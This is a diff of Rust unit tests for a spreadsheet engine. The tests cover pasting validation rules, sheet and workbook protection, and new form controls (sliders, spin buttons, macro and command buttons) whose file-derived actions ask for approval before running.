// A block with a rule on its middle cells pasted inside a bigger list rule.
|
||||
let mut s = self::s();
|
||||
s.execute("data.validation", json!({"range": "A2:A3", "type": "whole", "operator": "greater", "formula1": "0"})).unwrap();
|
||||
s.execute("data.validation", json!({"range": "C1:E10", "type": "list", "formula1": "\"p,q\""})).unwrap();
|
||||
s.execute("edit.copy", json!({"range": "A1:A4"})).unwrap();
|
||||
s.execute("edit.paste", json!({"at": "D4"})).unwrap();
|
||||
assert_eq!(validation_areas(&s), ["A2:A3", "C1:E3 C4:C7 E4:E7 C8:E10", "D5:D6"]);
|
||||
assert!(ok(&mut s, "D4", "anything"));
|
||||
assert!(!ok(&mut s, "D5", "-1"));
|
||||
assert!(!ok(&mut s, "D3", "z"));
|
||||
|
||||
// One copied cell tiled over a selection is one rule over the selection.
|
||||
s.execute("edit.copy", json!({"range": "A2"})).unwrap();
|
||||
s.execute("selection.set", json!({"range": "G1:G4"})).unwrap();
|
||||
s.execute("edit.paste", json!({})).unwrap();
|
||||
assert!(validation_areas(&s).contains(&"G1:G4".to_string()));
|
||||
}
|
||||
|
||||
/// Paste Special > Validation, checked against Excel 16.0: A1 has a list rule, A2 is blank with a
|
||||
/// whole-number rule, A3 is blank with no rule, over C1:C3 that hold a decimal rule. With Skip
|
||||
/// Blanks a blank source cell that has a rule still pastes it, and one without keeps the
|
||||
/// destination's rule; without it the destination's rule is cleared.
|
||||
#[test]
|
||||
fn paste_validation_skip_blanks_keeps_rules_under_blank_cells_without_one() {
|
||||
let ok = |s: &mut Session, cell: &str, input: &str| s.execute("data.validate", json!({"cell": cell, "input": input})).unwrap()["ok"] == true;
|
||||
for skip in [true, false] {
|
||||
let mut s = s();
|
||||
s.execute("data.validation", json!({"range": "A1", "type": "list", "formula1": "\"x,y\""})).unwrap();
|
||||
s.execute("data.validation", json!({"range": "A2", "type": "whole", "operator": "greater", "formula1": "0"})).unwrap();
|
||||
s.execute("data.validation", json!({"range": "C1:C3", "type": "decimal", "operator": "greater", "formula1": "0"})).unwrap();
|
||||
s.execute("edit.copy", json!({"range": "A1:A3"})).unwrap();
|
||||
s.execute("edit.pasteSpecial", json!({"what": "validation", "skipBlanks": skip, "at": "C1"})).unwrap();
|
||||
assert!(!ok(&mut s, "C1", "z"), "C1 gets A1's list rule (skip {skip})");
|
||||
assert!(!ok(&mut s, "C2", "1.5"), "C2 gets A2's whole-number rule (skip {skip})");
|
||||
assert_eq!(ok(&mut s, "C3", "-1"), !skip, "C3 keeps its decimal rule only when blanks are skipped");
|
||||
}
|
||||
}
|
||||
|
||||
/// A big populated Skip Blanks validation paste is not refused for its cell count: only
|
||||
/// validation areas are limited, and with no rule under the paste nothing is cleared.
|
||||
#[test]
|
||||
fn paste_validation_skip_blanks_large_populated_paste() {
|
||||
let mut s = s();
|
||||
s.execute("range.setValues", json!({"range": "A1:A100002", "values": (0..100_002).map(|i| vec![i]).collect::<Vec<_>>()})).unwrap();
|
||||
s.execute("edit.copy", json!({"range": "A1:A100002"})).unwrap();
|
||||
s.execute("edit.pasteSpecial", json!({"what": "validation", "skipBlanks": true, "at": "C1"})).unwrap();
|
||||
assert!(validation_areas(&s).is_empty());
|
||||
|
||||
// A destination rule is cleared under every populated source cell. Count the resulting
|
||||
// coalesced ranges, not the 100,002 cells that were considered for clearing.
|
||||
let mut s = self::s();
|
||||
s.execute("range.setValues", json!({"range": "A1:A100002", "values": (0..100_002).map(|i| vec![i]).collect::<Vec<_>>()})).unwrap();
|
||||
s.execute("data.validation", json!({"range": "C1:C100002", "type": "list", "formula1": "\"x,y\""})).unwrap();
|
||||
s.execute("edit.copy", json!({"range": "A1:A100002"})).unwrap();
|
||||
s.execute("edit.pasteSpecial", json!({"what": "validation", "skipBlanks": true, "at": "C1"})).unwrap();
|
||||
assert!(validation_areas(&s).is_empty());
|
||||
}
|
||||
|
||||
/// Open a workbook by path, and `CELL("filename")` names the file it came from, as Excel does;
|
||||
/// Save As makes the new file the one it names. The sheet-name formula of #1489 depends on it.
|
||||
#[test]
|
||||
@@ -5351,6 +5833,7 @@ fn a_script_cannot_switch_windows() {
|
||||
assert_eq!(v(&s, "A1"), Value::number(2.0));
|
||||
}
|
||||
|
||||
mod controls;
|
||||
mod equation;
|
||||
mod macros;
|
||||
mod objects;
|
||||
@@ -5572,3 +6055,62 @@ fn clearing_links_and_notes_keeps_allow_edit_ranges() {
|
||||
let sh = s.doc().unwrap().wb.active().unwrap().clone();
|
||||
assert!(sh.hyperlinks.is_empty() && sh.comments.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn protected_sheet_refuses_layout_commands_its_permissions_do_not_allow() {
|
||||
let mut s = s();
|
||||
s.execute("range.setValues", json!({"range": "A1", "values": [["h"], [1], [2]]})).unwrap();
|
||||
s.execute("data.filter", json!({"range": "A1:A3"})).unwrap();
|
||||
s.execute("review.protectSheet", json!({})).unwrap();
|
||||
for (id, params) in [
|
||||
("home.rowHeight", json!({"rows": "1:1", "height": 40})),
|
||||
("home.columnWidth", json!({"cols": "A:A", "width": 80})),
|
||||
("data.group", json!({"rows": "2:3"})),
|
||||
("data.showLevels", json!({"rows": 1})),
|
||||
("data.clearFilter", json!({})),
|
||||
("data.reapply", json!({})),
|
||||
("insert.picture", json!({"base64": "iVBORw0KGgo="})),
|
||||
] {
|
||||
let err = s.execute(id, params).expect_err(id).to_string();
|
||||
assert!(err.contains("protected"), "{id}: {err}");
|
||||
}
|
||||
// With the permissions ticked the same layout commands run.
|
||||
s.execute("review.unprotectSheet", json!({})).unwrap();
|
||||
s.execute("review.protectSheet", json!({"formatRows": true, "formatColumns": true, "autofilter": true})).unwrap();
|
||||
for (id, params) in [
|
||||
("home.rowHeight", json!({"rows": "1:1", "height": 40})),
|
||||
("home.columnWidth", json!({"cols": "A:A", "width": 80})),
|
||||
("data.reapply", json!({})),
|
||||
] {
|
||||
s.execute(id, params).unwrap_or_else(|e| panic!("{id}: {e}"));
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn an_edit_range_limited_to_windows_users_stays_locked() {
|
||||
use gridcraft_model::EditRange;
|
||||
let mut s = s();
|
||||
let a1 = CellRef::parse("A1").unwrap();
|
||||
let range = |sd: Option<&str>| EditRange {
|
||||
title: "T".into(),
|
||||
ranges: vec![gridcraft_core::RangeRef::cell(a1)],
|
||||
password: None,
|
||||
security_descriptor: sd.map(str::to_string),
|
||||
};
|
||||
let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap();
|
||||
sh.edit_ranges.push(range(None));
|
||||
assert!(crate::cmd::locked_cell_error(sh, a1, &[]).is_none(), "an open range");
|
||||
sh.edit_ranges = vec![range(Some("D:(A;;GA;;;WD)"))];
|
||||
assert!(crate::cmd::locked_cell_error(sh, a1, &[]).is_some(), "a user-limited range");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn pivot_new_sheet_destination_respects_workbook_structure_protection() {
|
||||
let mut s = s();
|
||||
s.execute("range.setValues", json!({"range": "A1", "values": [["Region", "Sales"], ["N", 1], ["S", 2]]})).unwrap();
|
||||
s.execute("review.protectWorkbook", json!({"on": true})).unwrap();
|
||||
for dest in ["new", "NEW", " new ", ""] {
|
||||
assert!(s.execute("insert.pivotTable", json!({"source": "A1:B3", "destination": dest})).is_err(), "destination {dest:?}");
|
||||
}
|
||||
assert!(s.execute("insert.pivotTable", json!({"source": "A1:B3", "location": "New"})).is_err());
|
||||
}
|
||||
|
||||
@@ -0,0 +1,847 @@
|
||||
//! Form controls: buttons, sliders and spin buttons (insert, format, assign, setValue, press).
|
||||
|
||||
use gridcraft_core::Value;
|
||||
use gridcraft_model::{ControlAction, ControlKind, FormControl, MacroInput};
|
||||
use serde_json::{Value as Json, json};
|
||||
|
||||
use super::{s, v};
|
||||
use crate::{EngineError, Session, Trust};
|
||||
|
||||
fn id(r: &Json) -> u64 {
|
||||
r["control"].as_u64().unwrap()
|
||||
}
|
||||
|
||||
fn control(s: &Session, id: u64) -> FormControl {
|
||||
s.doc().unwrap().wb.active().unwrap().controls.iter().find(|c| c.id as u64 == id).cloned().unwrap()
|
||||
}
|
||||
|
||||
fn undo_len(s: &Session) -> usize {
|
||||
s.doc().unwrap().undo.len()
|
||||
}
|
||||
|
||||
fn err(r: crate::Result<Json>) -> String {
|
||||
r.unwrap_err().to_string()
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn numbers_are_whole_and_each_rule_has_its_own_error() {
|
||||
let mut s = s();
|
||||
let ok = s.execute("insert.slider", json!({"at": "D2", "min": 10, "max": 50, "step": 5, "page": 10})).unwrap();
|
||||
let c = control(&s, id(&ok));
|
||||
assert_eq!((c.kind, c.min, c.max, c.step, c.page, c.value), (ControlKind::Slider, 10, 50, 5, 10, 10));
|
||||
for (p, needle) in [
|
||||
(json!({"min": 2.5}), "`min` must be a whole number from 0 to 30000"),
|
||||
(json!({"min": -1}), "`min` must be a whole number"),
|
||||
(json!({"max": 30001}), "`max` must be a whole number from 0 to 30000"),
|
||||
(json!({"step": "two"}), "`step` must be a whole number"),
|
||||
(json!({"max": 1e300}), "`max` must be a whole number"),
|
||||
(json!({"min": 50, "max": 50}), "Maximum value (50) must be greater than Minimum value (50)"),
|
||||
(json!({"min": 60, "max": 50}), "must be greater than Minimum"),
|
||||
(json!({"step": 0}), "Incremental change must be at least 1"),
|
||||
(json!({"min": 0, "max": 10, "step": 11}), "Incremental change (11) can be at most Maximum minus Minimum (10)"),
|
||||
(json!({"step": 5, "page": 2}), "Page change (2) must be at least the incremental change (5)"),
|
||||
(json!({"link": "not a cell"}), "isn't a cell of this workbook"),
|
||||
(json!({"link": "Nowhere!A1"}), "isn't a cell of this workbook"),
|
||||
(json!({"link": "A1:B2"}), "isn't a cell"),
|
||||
] {
|
||||
let e = err(s.execute("insert.slider", p.clone()));
|
||||
assert!(e.contains(needle), "{p}: {e}");
|
||||
}
|
||||
// A spin button has no page change, so a page below the step is fine.
|
||||
s.execute("insert.spinButton", json!({"step": 5, "page": 2})).unwrap();
|
||||
// Numbers in text are numbers.
|
||||
let n = id(&s.execute("insert.spinButton", json!({"min": "3", "max": "9"})).unwrap());
|
||||
let c = control(&s, n);
|
||||
assert_eq!((c.min, c.max, c.value), (3, 9, 3));
|
||||
// A larger step pulls a slider's default page up with it.
|
||||
let n = id(&s.execute("insert.slider", json!({"max": 1000, "step": 50})).unwrap());
|
||||
let c = control(&s, n);
|
||||
assert_eq!(c.page, 50);
|
||||
// The model checks the same rules.
|
||||
let bad = FormControl { kind: ControlKind::Spin, min: 0, max: 30_001, ..Default::default() };
|
||||
assert!(bad.check_numbers().is_err());
|
||||
assert!(FormControl { kind: ControlKind::Button, max: 0, ..Default::default() }.check_numbers().is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn set_value_clamps_snaps_and_writes_the_link_as_one_undo_step() {
|
||||
let mut s = s();
|
||||
s.execute("cell.set", json!({"cell": "C1", "input": "=B1*2"})).unwrap();
|
||||
let c = id(&s.execute("insert.slider", json!({"link": "B1", "min": 10, "max": 100, "step": 5})).unwrap());
|
||||
assert_eq!(control(&s, c).link.as_deref(), Some("$B$1"));
|
||||
let before = undo_len(&s);
|
||||
for (given, want) in [(37.0, 35.0), (38.0, 40.0), (-5.0, 10.0), (1e9, 100.0), (99.0, 100.0), (12.4, 10.0)] {
|
||||
let r = s.execute("control.setValue", json!({"id": c, "value": given})).unwrap();
|
||||
assert_eq!(r["value"], json!(want as u32), "{given}");
|
||||
assert_eq!(v(&s, "B1"), Value::Number(want), "{given}");
|
||||
assert_eq!(v(&s, "C1"), Value::Number(want * 2.0), "dependents recalculate");
|
||||
assert_eq!(control(&s, c).value, want as u32);
|
||||
}
|
||||
assert_eq!(undo_len(&s), before + 5, "one undo step per change (99 snaps to the 100 it holds)");
|
||||
s.execute("edit.undo", json!({})).unwrap();
|
||||
assert_eq!(v(&s, "B1"), Value::Number(100.0));
|
||||
assert_eq!(control(&s, c).value, 100);
|
||||
// Setting the value it already has adds no step.
|
||||
let n = undo_len(&s);
|
||||
s.execute("control.setValue", json!({"id": c, "value": 100})).unwrap();
|
||||
assert_eq!(undo_len(&s), n);
|
||||
for p in [json!({"id": c}), json!({"id": c, "value": "x"}), json!({"id": 999, "value": 1}), json!({"value": 1})] {
|
||||
assert!(s.execute("control.setValue", p).is_err());
|
||||
}
|
||||
// A button has no value.
|
||||
let b = id(&s.execute("insert.button", json!({})).unwrap());
|
||||
assert!(err(s.execute("control.setValue", json!({"id": b, "value": 1}))).contains("control.press"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn editing_the_linked_cell_moves_the_control() {
|
||||
let mut s = s();
|
||||
let c = id(&s.execute("insert.spinButton", json!({"link": "$B$2", "max": 20, "step": 2})).unwrap());
|
||||
s.execute("cell.set", json!({"cell": "B2", "input": "7"})).unwrap();
|
||||
assert_eq!(control(&s, c).value, 8, "snapped to the step");
|
||||
s.execute("cell.set", json!({"cell": "B2", "input": "500"})).unwrap();
|
||||
assert_eq!(control(&s, c).value, 20, "clamped");
|
||||
s.execute("cell.set", json!({"cell": "B2", "input": "text"})).unwrap();
|
||||
assert_eq!(control(&s, c).value, 20, "text leaves it where it was");
|
||||
// A new control starts at what its cell holds.
|
||||
s.execute("cell.set", json!({"cell": "D4", "input": "12"})).unwrap();
|
||||
let d = id(&s.execute("insert.slider", json!({"link": "D4", "max": 20})).unwrap());
|
||||
assert_eq!(control(&s, d).value, 12);
|
||||
// A linked cell on another sheet.
|
||||
s.execute("home.insertSheet", json!({"name": "Data Sheet"})).unwrap();
|
||||
s.execute("sheet.activate", json!({"sheet": "Sheet1"})).unwrap();
|
||||
let e = id(&s.execute("insert.slider", json!({"link": "'Data Sheet'!a1", "value": 30})).unwrap());
|
||||
assert_eq!(control(&s, e).link.as_deref(), Some("'Data Sheet'!$A$1"));
|
||||
let wb = &s.doc().unwrap().wb;
|
||||
let other = wb.sheet(wb.sheet_index("Data Sheet").unwrap()).unwrap();
|
||||
assert_eq!(other.cell(gridcraft_core::CellRef::new(0, 0)).unwrap().value, Value::Number(30.0));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn format_replies_with_the_value_a_new_link_gives() {
|
||||
let mut s = s();
|
||||
s.execute("cell.set", json!({"cell": "C5", "input": "30"})).unwrap();
|
||||
let c = id(&s.execute("insert.slider", json!({"link": "B1", "max": 100, "value": 10})).unwrap());
|
||||
// Relinked to a cell that holds another number, the control takes that number, and the reply
|
||||
// says so, as control.list does.
|
||||
let r = s.execute("control.format", json!({"id": c, "link": "C5"})).unwrap();
|
||||
assert_eq!(control(&s, c).value, 30);
|
||||
assert_eq!(r["value"], json!(30), "{r}");
|
||||
assert_eq!(r["link"], json!("$C$5"), "{r}");
|
||||
// A given value is written to the new link and replied as given.
|
||||
let r = s.execute("control.format", json!({"id": c, "link": "D6", "value": 44})).unwrap();
|
||||
assert_eq!((r["value"].clone(), v(&s, "D6")), (json!(44), Value::Number(44.0)));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn links_follow_inserted_rows() {
|
||||
let mut s = s();
|
||||
let c = id(&s.execute("insert.slider", json!({"at": "E2", "link": "B3", "value": 40})).unwrap());
|
||||
s.execute("selection.set", json!({"range": "1:1"})).unwrap();
|
||||
s.execute("home.insertRows", json!({})).unwrap();
|
||||
let ctl = control(&s, c);
|
||||
assert_eq!(ctl.link.as_deref(), Some("$B$4"));
|
||||
assert_eq!(ctl.anchor.cell.a1(), "E3");
|
||||
assert_eq!(v(&s, "B4"), Value::Number(40.0));
|
||||
s.execute("control.setValue", json!({"id": c, "value": 41})).unwrap();
|
||||
assert_eq!(v(&s, "B4"), Value::Number(41.0));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn format_and_assign() {
|
||||
let mut s = s();
|
||||
let c = id(&s.execute("insert.slider", json!({"link": "B1", "max": 100, "value": 80})).unwrap());
|
||||
let r = s.execute("control.format", json!({"id": c, "max": 50, "name": "Rate", "horizontal": false})).unwrap();
|
||||
assert_eq!(
|
||||
(r["max"].clone(), r["value"].clone(), r["name"].clone(), r["horizontal"].clone()),
|
||||
(json!(50), json!(50), json!("Rate"), json!(false))
|
||||
);
|
||||
assert_eq!(v(&s, "B1"), Value::Number(50.0), "the new maximum pulls the linked value in");
|
||||
assert!(err(s.execute("control.format", json!({"id": c, "min": 50}))).contains("greater than Minimum"));
|
||||
assert_eq!(control(&s, c).min, 0, "a refused change leaves the control as it was");
|
||||
s.execute("control.format", json!({"id": c, "link": ""})).unwrap();
|
||||
assert_eq!(control(&s, c).link, None);
|
||||
s.execute("control.format", json!({"id": c, "value": 25})).unwrap();
|
||||
assert_eq!(v(&s, "B1"), Value::Number(50.0), "without a link nothing is written");
|
||||
// Buttons: text and action.
|
||||
// A fixed input needs a macro that takes one.
|
||||
s.execute("macro.save", json!({"name": "Fill", "steps": [{"command": "cell.set", "params": {"cell": "Input.cell(1,1)", "input": "x"}}], "inputs": [{"name": "Input", "kind": "range"}]})).unwrap();
|
||||
let b = id(&s.execute("insert.button", json!({"text": "Go", "macro": "Fill", "input": "C2:D4", "output": "F2"})).unwrap());
|
||||
let action = control(&s, b).action;
|
||||
assert_eq!(action, Some(ControlAction::Macro { name: "Fill".into(), input: MacroInput::Fixed("C2:D4".into()), output: Some("F2".into()) }));
|
||||
s.execute("control.assign", json!({"id": b, "command": "home.bold", "params": {"range": "A1"}})).unwrap();
|
||||
assert!(matches!(control(&s, b).action, Some(ControlAction::Command { ref id, .. }) if id == "home.bold"));
|
||||
assert!(err(s.execute("control.assign", json!({"id": b, "command": "file.saveAs"}))).contains("can't run file.saveAs"));
|
||||
assert!(err(s.execute("control.assign", json!({"id": b, "command": "control.press", "params": {"id": b}}))).contains("can't run control.press"));
|
||||
assert!(err(s.execute("control.assign", json!({"id": b, "command": "no.such"}))).contains("no command"));
|
||||
assert!(err(s.execute("control.assign", json!({"id": b, "macro": "Fill", "input": "nonsense!!"}))).contains("`input`"));
|
||||
assert!(err(s.execute("control.assign", json!({"id": b}))).contains("clear"));
|
||||
assert!(err(s.execute("control.assign", json!({"id": c, "macro": "Fill"}))).contains("only buttons"));
|
||||
s.execute("control.assign", json!({"id": b, "clear": true})).unwrap();
|
||||
assert_eq!(control(&s, b).action, None);
|
||||
// Renaming the macro keeps the button pointing at it.
|
||||
s.execute("control.assign", json!({"id": b, "macro": "fill"})).unwrap();
|
||||
s.execute("macro.rename", json!({"name": "Fill", "to": "Fill Block"})).unwrap();
|
||||
assert!(matches!(control(&s, b).action, Some(ControlAction::Macro { ref name, .. }) if name == "Fill Block"));
|
||||
let list = s.execute("control.list", json!({})).unwrap();
|
||||
assert_eq!(list.as_array().map(Vec::len), Some(2));
|
||||
assert_eq!(list[1]["text"], json!("Go"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn pressing_a_button_runs_its_macro_as_one_undo_step() {
|
||||
let mut s = s();
|
||||
s.execute(
|
||||
"macro.save",
|
||||
json!({"name": "Mark", "inputs": [{"name": "Input", "kind": "range"}], "steps": [{"command": "cell.set", "params": {"cell": "Input.cell(1,1)", "input": "done"}}], "output": {"onConflict": "overwrite"}}),
|
||||
)
|
||||
.unwrap();
|
||||
let b = id(&s.execute("insert.button", json!({"macro": "Mark"})).unwrap());
|
||||
s.execute("selection.set", json!({"range": "C3:D4"})).unwrap();
|
||||
let before = undo_len(&s);
|
||||
let r = s.execute("control.press", json!({"id": b})).unwrap();
|
||||
assert_eq!(r["macro"], json!("Mark"));
|
||||
assert_eq!(v(&s, "C3"), Value::text("done"));
|
||||
assert_eq!(undo_len(&s), before + 1);
|
||||
s.execute("edit.undo", json!({})).unwrap();
|
||||
assert_eq!(v(&s, "C3"), Value::Empty);
|
||||
// A fixed input ignores the selection.
|
||||
s.execute("control.assign", json!({"id": b, "macro": "Mark", "input": "F6:G7"})).unwrap();
|
||||
s.execute("control.press", json!({"id": b})).unwrap();
|
||||
assert_eq!((v(&s, "F6"), v(&s, "C3")), (Value::text("done"), Value::Empty));
|
||||
// No action, a missing macro, not a button.
|
||||
let empty = id(&s.execute("insert.button", json!({"text": "Nothing"})).unwrap());
|
||||
assert!(err(s.execute("control.press", json!({"id": empty}))).contains("has no action"));
|
||||
s.execute("control.assign", json!({"id": empty, "macro": "Gone"})).unwrap();
|
||||
assert!(err(s.execute("control.press", json!({"id": empty}))).contains("no macro called"));
|
||||
let spin = id(&s.execute("insert.spinButton", json!({})).unwrap());
|
||||
assert!(err(s.execute("control.press", json!({"id": spin}))).contains("only buttons"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_command_button_goes_through_the_policy_with_the_documents_trust() {
|
||||
let mut s = s();
|
||||
let b = id(&s.execute("insert.button", json!({"command": "cell.set", "params": {"cell": "A1", "input": "7"}})).unwrap());
|
||||
// A workbook made here runs it straight away, as one undo step.
|
||||
let before = undo_len(&s);
|
||||
s.execute("control.press", json!({"id": b})).unwrap();
|
||||
assert_eq!(v(&s, "A1"), Value::Number(7.0));
|
||||
assert_eq!(undo_len(&s), before + 1);
|
||||
s.execute("edit.undo", json!({})).unwrap();
|
||||
// From a file: it asks first, once.
|
||||
s.doc_mut().unwrap().trust = Trust::FromFile;
|
||||
match s.execute("control.press", json!({"id": b})) {
|
||||
Err(EngineError::Approve(q)) => assert!(q.contains("came with a workbook you opened"), "{q}"),
|
||||
other => panic!("expected a question, got {other:?}"),
|
||||
}
|
||||
assert_eq!(v(&s, "A1"), Value::Empty, "nothing ran");
|
||||
s.execute("control.press", json!({"id": b, "approve": true})).unwrap();
|
||||
assert_eq!(v(&s, "A1"), Value::Number(7.0));
|
||||
s.execute("cell.set", json!({"cell": "A1", "input": ""})).unwrap();
|
||||
s.execute("control.press", json!({"id": b})).unwrap();
|
||||
assert_eq!(v(&s, "A1"), Value::Number(7.0), "approved for the session");
|
||||
// A command that reads a file always asks.
|
||||
s.doc_mut().unwrap().trust = Trust::Local;
|
||||
let f = id(&s.execute("insert.button", json!({"command": "data.fromTextCsv", "params": {"path": "/nonexistent/x.csv"}})).unwrap());
|
||||
assert!(matches!(s.execute("control.press", json!({"id": f})), Err(EngineError::Approve(q)) if q.contains("reads a file")));
|
||||
// A denied command that a file brought in never runs.
|
||||
let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap();
|
||||
if let Some(c) = sh.controls.iter_mut().find(|c| c.id as u64 == f) {
|
||||
c.action = Some(ControlAction::Command { id: "file.saveAs".into(), params: json!({"path": "/tmp/x.xlsx"}) });
|
||||
}
|
||||
assert!(err(s.execute("control.press", json!({"id": f, "approve": true}))).contains("can't run file.saveAs"));
|
||||
// A macro button in a file's workbook asks too (the runner's gate).
|
||||
s.execute(
|
||||
"macro.save",
|
||||
json!({"name": "M", "steps": [{"command": "cell.set", "params": {"cell": "B1", "input": "1"}}], "output": {"onConflict": "overwrite"}}),
|
||||
)
|
||||
.unwrap();
|
||||
let m = id(&s.execute("insert.button", json!({"macro": "M"})).unwrap());
|
||||
s.doc_mut().unwrap().trust = Trust::FromFile;
|
||||
assert!(matches!(s.execute("control.press", json!({"id": m})), Err(EngineError::Approve(_))));
|
||||
s.execute("control.press", json!({"id": m, "approve": true})).unwrap();
|
||||
assert_eq!(v(&s, "B1"), Value::Number(1.0));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_file_commands_approval_question_names_the_file() {
|
||||
let mut s = s();
|
||||
let b = id(&s.execute("insert.button", json!({"command": "file.exportCsv", "params": {"path": "/tmp/reports/q3 totals.csv"}})).unwrap());
|
||||
match s.execute("control.press", json!({"id": b})) {
|
||||
Err(EngineError::Approve(q)) => assert!(q.contains("writes a file (/tmp/reports/q3 totals.csv)"), "{q}"),
|
||||
other => panic!("expected a question, got {other:?}"),
|
||||
}
|
||||
// A long path is shortened in the middle, and line breaks can't hide part of it.
|
||||
let long = format!("/tmp/{}\n{}.csv", "a".repeat(300), "b".repeat(300));
|
||||
let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap();
|
||||
if let Some(c) = sh.controls.iter_mut().find(|c| c.id as u64 == b) {
|
||||
c.action = Some(ControlAction::Command { id: "file.exportCsv".into(), params: json!({"path": long}) });
|
||||
}
|
||||
match s.execute("control.press", json!({"id": b})) {
|
||||
Err(EngineError::Approve(q)) => {
|
||||
assert!(q.contains("(/tmp/aaa") && q.contains("…") && q.contains("bbb.csv)") && !q.contains('\n') && q.len() < 600, "{q}")
|
||||
}
|
||||
other => panic!("expected a question, got {other:?}"),
|
||||
}
|
||||
// Without a path the question is unchanged.
|
||||
let plain = id(&s.execute("insert.button", json!({"command": "cell.set", "params": {"cell": "A1", "input": "1"}})).unwrap());
|
||||
s.doc_mut().unwrap().trust = Trust::FromFile;
|
||||
match s.execute("control.press", json!({"id": plain})) {
|
||||
Err(EngineError::Approve(q)) => assert!(q.ends_with("came with a workbook you opened."), "{q}"),
|
||||
other => panic!("expected a question, got {other:?}"),
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn hostile_params_are_refused() {
|
||||
let mut s = s();
|
||||
let c = id(&s.execute("insert.slider", json!({"width": 1e30, "height": -5, "at": "XFD1048576"})).unwrap());
|
||||
let a = control(&s, c).anchor;
|
||||
assert_eq!((a.width, a.height), (10_000.0, 4.0));
|
||||
let long = "x".repeat(2_000);
|
||||
assert!(s.execute("insert.button", json!({"text": long})).is_err());
|
||||
assert!(s.execute("insert.button", json!({"text": 5})).is_err());
|
||||
assert!(s.execute("insert.button", json!({"command": "cell.set", "params": [1]})).is_err());
|
||||
assert!(s.execute("control.format", json!({"id": c, "link": 5})).is_err());
|
||||
assert!(s.execute("control.format", json!({"id": c, "value": f64::MAX})).is_err());
|
||||
assert!(s.execute("control.setValue", json!({"id": c, "value": f64::MIN})).is_ok());
|
||||
assert_eq!(control(&s, c).value, 0);
|
||||
// Snapping keeps the maximum reachable when the step doesn't divide the range.
|
||||
let odd = FormControl { kind: ControlKind::Spin, min: 0, max: 10, step: 3, ..Default::default() };
|
||||
assert_eq!((odd.snap(9.4), odd.snap(9.6), odd.snap(f64::NAN)), (9, 10, 0));
|
||||
}
|
||||
|
||||
fn link(s: &Session, sheet_i: usize, id: u64) -> String {
|
||||
let sh = s.doc().unwrap().wb.sheet(sheet_i).unwrap();
|
||||
sh.controls.iter().find(|c| c.id as u64 == id).and_then(|c| c.link.clone()).unwrap_or_default()
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn links_follow_inserts_deletes_renames_and_cut_moves() {
|
||||
let mut s = s();
|
||||
s.execute("home.insertSheet", json!({"name": "Data"})).unwrap();
|
||||
// A control on Data pointing back at Sheet1.
|
||||
let back = id(&s.execute("insert.spinButton", json!({"at": "C3", "link": "Sheet1!$B$2"})).unwrap());
|
||||
s.execute("sheet.activate", json!({"sheet": 0})).unwrap();
|
||||
let local = id(&s.execute("insert.slider", json!({"at": "E2", "link": "$B$2"})).unwrap());
|
||||
let remote = id(&s.execute("insert.spinButton", json!({"at": "E6", "link": "Data!$A$1"})).unwrap());
|
||||
|
||||
s.execute("home.insertRows", json!({"rows": "1:1"})).unwrap();
|
||||
s.execute("home.insertColumns", json!({"cols": "A:A"})).unwrap();
|
||||
assert_eq!(link(&s, 0, local), "$C$3");
|
||||
assert_eq!(link(&s, 1, back), "Sheet1!$C$3");
|
||||
assert_eq!(link(&s, 0, remote), "Data!$A$1", "edits on Sheet1 leave links into Data alone");
|
||||
|
||||
s.execute("cell.set", json!({"cell": "C3", "input": "7"})).unwrap();
|
||||
s.execute("edit.cut", json!({"range": "C3"})).unwrap();
|
||||
s.execute("edit.paste", json!({"at": "G9"})).unwrap();
|
||||
assert_eq!(link(&s, 0, local), "$G$9", "a cut-move takes the link with the cell");
|
||||
assert_eq!(link(&s, 1, back), "Sheet1!$G$9");
|
||||
|
||||
s.execute("sheet.rename", json!({"sheet": 1, "name": "Inputs"})).unwrap();
|
||||
assert_eq!(link(&s, 0, remote), "Inputs!$A$1");
|
||||
s.execute("home.deleteRows", json!({"rows": "9:9"})).unwrap();
|
||||
assert!(link(&s, 0, local).contains("#REF!"), "{}", link(&s, 0, local));
|
||||
s.execute("home.deleteSheet", json!({"sheet": 1})).unwrap();
|
||||
assert!(link(&s, 0, remote).contains("#REF!"), "{}", link(&s, 0, remote));
|
||||
// A link to a deleted cell writes nothing.
|
||||
s.execute("control.setValue", json!({"id": local, "value": 5})).unwrap();
|
||||
for _ in 0..3 {
|
||||
s.execute("edit.undo", json!({})).unwrap();
|
||||
}
|
||||
assert_eq!((link(&s, 0, local), link(&s, 0, remote)), ("$G$9".to_string(), "Inputs!$A$1".to_string()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_object_commands_leave_a_locked_control_on_a_protected_sheet_alone() {
|
||||
let mut s = s();
|
||||
let locked = id(&s.execute("insert.slider", json!({"at": "D2", "link": "B1"})).unwrap());
|
||||
let other = id(&s.execute("insert.spinButton", json!({"at": "D8"})).unwrap());
|
||||
let free = id(&s.execute("insert.button", json!({"at": "D12"})).unwrap());
|
||||
s.execute("control.format", json!({"id": free, "locked": false})).unwrap();
|
||||
s.execute("review.protectSheet", json!({})).unwrap();
|
||||
let before = s.doc().unwrap().wb.clone();
|
||||
for (cmd, p) in [
|
||||
("object.move", json!({"kind": "control", "id": locked, "at": "H9"})),
|
||||
("object.delete", json!({"kind": "control", "id": locked})),
|
||||
("object.setAnchorMode", json!({"kind": "control", "id": locked, "mode": "absolute"})),
|
||||
("arrange.bringForward", json!({"kind": "control", "id": locked, "toFront": true})),
|
||||
("arrange.sendBackward", json!({"kind": "control", "id": locked})),
|
||||
